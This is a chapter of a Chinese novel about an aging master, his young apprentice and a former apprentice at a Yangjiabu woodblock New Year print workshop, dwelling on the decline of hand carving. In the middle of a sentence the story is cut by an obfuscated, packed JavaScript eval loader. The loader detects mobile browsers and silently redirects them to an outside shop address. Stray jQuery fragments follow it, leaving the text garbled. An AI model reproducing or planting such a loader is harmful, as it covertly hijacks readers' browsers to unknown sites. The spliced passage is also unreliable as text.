桃花坞的淡彩墨香还洇在衣襟上，江南的细雨已在身后收住了脚。辞别江老师傅那日，他攥着细薄刻刀立在桥头，用一口软糯苏吴方言跟我说：“北边的年画不讲留白，讲的是满。你到了杨家埠，先看一张旧门神的眼睛——那股子瞪人的劲，你得摸出来是刀刻的，不是笔描的。”
我往北走。过了淮河，风就变了，从湿润的绵软换成干爽的利落，吹在脸上像被一张粗砂纸蹭过。杨家埠的村口立着一座旧石牌坊，匾额上“年画之乡”四个字被六十年的风沙磨得圆钝了，笔画还在，但棱角没了，像一方被反复拓印过的老版。
村道两侧的人家几乎都敞着门，门口堆着成捆的粗梨木大料，木头断面被日头晒出细密的裂纹，木纹里嵌着往年刻版留下的旧墨色。空气里搅着一种让人安心的气味——醇厚的木香混着石榴皮和槐花熬煮后的甜涩，不着急散掉，像是这村子自己的呼吸。
我在巷尾找到了杨家的百年画坊。黄土夯的院墙根被年画颜料浸出了深浅不一的旧色，门板内侧用墨笔写了一行字：“同治三年秋，杨氏第四代画匠立此坊。”字迹被木屑和岁月浸润成了深褐色，但能认出“杨氏”两个字。院门半敞着，门缝里漏出粗梨木被刻刀走过后散发的醇厚木香。
杨老师傅八十岁，坐在刻版长案前，面前是一块已经打磨光滑的粗梨木大料。他右手握着一把阔刃粗刻刀，正在沿着墨线走粗——刻的是秦琼的护心镜。刀刃贴着木板表面匀速推进，每走完一段就停下来用嘴吹掉木屑，用手指沿着刀痕摸一遍，确认深度和宽度一致。他刻线的时候，刀口切入木板的深度和宽度是恒定的，不分粗细、不分转弯，一刀到底，像是一条被反复校准了五十年的老路。
他旁边的矮案上，十五岁的阿鸢正蹲在那儿，面前摊着一块粗梨木小料，握着一把中号阔口刻刀练走线。她的动作生涩，有一刀刻深了，线底发了白，像是切过了梨木的表层。她停了一下，没有放弃那块版，而是翻了个面，从对面补了一刀，让深浅不匀处变成了一种类似用笔顿挫的自然变化。她的右手食指上缠着一圈厚棉布，是前天刻刀滑了手划破的，布条已经被梨木屑染成了浅木色。
杨老师傅的余光落过去，没有停刀，只开口说了一句：“深了就翻面走一刀，浅了就由它浅。年画不是绣花，急不来。”
阿鸢“嗯”了一声，低头继续走下一刀。
门前石阶上蹲着三个来串门的老街坊，端着粗瓷碗喝茶。碗是旧的，碗沿被茶汤养出了一层暗褐色的旧光。一个缺了半截拇指的老人说：“上月我去临朐那边的梨市看了一趟，一方粗梨大料从三两银子涨到五两，木商还说不急着卖。这木头贵了，后生也不肯学了。”
另一个说：“前天有个风筝作坊的掌柜来铺子里看版，摸了幅《秦琼敬德》的墨线，说‘这粗线有劲儿’，问了价，没还价就走了。他嫌贵。”
第三个一直没说话，低头看着自己那把阔刻刀，刀柄被手掌盘出了一层油润的旧光，像老梨木被反复握了太久之后自己长出来的包浆。隔了很久，他说了一句：“我那个侄孙前年暑假来跟我学了半个月走粗，第三天下工嚷腰疼，第五天跟我说：‘爷爷，这活太累了。’后来他去了镇上那家喷绘厂。”
杨老师傅手里的阔刀没有停。护心镜的弧线还剩最后两刀，刀刃推过去的力道和前五十年的每一次都一样。
阿鸢停下刻刀，抬头看他：“杨伯，我前天去镇上新开的那家风筝年货店转了一圈，一整面墙都是数码喷绘的仿年画，门神、童子、花鸟都有，价格便宜得厉害。一个穿棉袄的老乡买了一张喷绘的《秦琼敬德》，付钱的时候说：‘这画上的门神眼睛瞪得真有劲儿。’”
杨老师傅走完护心镜的最后一刀，搁下刻刀，用手掌沿着刚走完的弧线摸了一遍，确认深度均匀之后才开口：“你走近看了没有？”
“没有，装好框挂在墙上的，够不着。”
“手工年画的门神眼睛是凹下去的。粗刀刻线的时候，眼眶会被刻出两道深槽，套印的时候墨色压进槽底，眼睛是往里收的，有纵深。喷绘的眼睛是平的，像是贴上去的。你以后去，不用拆框，只凑近了看侧面，一眼就分得出来。”
阿鸢又“嗯”了一声，低头继续走她的下一刀。
暮色快要从院墙的缺口漫进来的时候，一个穿灰蓝工装的中年女人拎着一筐肉火烧推开了院门。她叫老梨，当年是这间画坊的学徒，学了二十六年走粗，四十岁那年走的。她的工装袖口和下摆沾着细碎的打印油墨粉尘，跟院子里那些粗梨木被刻刀走过后留下的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727371|208873||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
粗木屑完全不同——那是机器磨出来的均匀细末，像是被一次性磨到了极限。她的掌心干干净净，没有老茧，只有长期握喷绘机操作杆留下的均匀粗糙。工装左胸的口袋上方印着“潍坊数码喷绘”六个字。
她把肉火烧放在案角，在门槛上坐下来，低头看了一眼杨老师傅正在收尾的护心镜，看了一会儿，没说话。过了很久才开口：“杨伯，昨天我去村尾老孙家那边转了一圈。他那张刻版长案传了六代，昨天被他锁了。锁是铜的，锁舌上一层绿锈，锁得挺利落。老孙说，在他奶奶手里那张案一年刻二十套版，在他妈手里一年八套，到了他手里，去年只刻了一套。”
杨老师傅正在用手掌整理刚刻完的粗版，把走完线的木屑吹干净，用手指沿着刀痕走一遍，确认每一道线的深度均匀。他没有抬头，只问了一句：“他锁案台的时候，最后一个秦琼的眼珠子勾完了没有？”
老梨顿了一下。“没有。右眼珠子只勾了半边，他说不勾了，让眼珠子留在版上。”
杨老师傅没有再问。他把手里的粗版搁在木架上，拿起下一块新料，重新走第一道粗线。这一刀的速度比平时慢了一点点，像是用那一段慢下来的时间，替一张已经锁了案台的刻版案走完它最后一个还没有被勾完的眼珠子。
阿鸢忽然放下刻刀，跑到作坊最里头的木架前，翻出了一块旧版。版面上是一幅旧版《秦琼敬德》，边角磨损得厉害，但秦琼的两只眼睛还是完整的——眼珠的深槽里积着旧墨，像是一直在瞪着她。她把旧版小心地放回原处，回来重新坐回矮案前，握起刻刀，继续走下一刀。
天色彻底暗下来之前，又有一阵风从麦田那边吹过来，把院墙上干透的红棉布吹得晃了一下。杨老师傅案台上那块新料的第一道粗线已经走完了大半，阿鸢的练习版上也多出了两刀。老梨坐在门槛上没有走，她搁在膝上的那双手，在暮色里微微攥了一下，又松开了。
没有人问她还回不回去。
村外麦田的风还在吹，远处有狗叫声。老画坊里的油灯被点起来了，暗黄色的光把杨老师傅和阿鸢的影子投在墙面上，一个人坐着刻，一个人蹲着刻，影子叠在一起，一时分不清哪个是哪个。
那盏灯亮了一整夜。
（第五十八章完）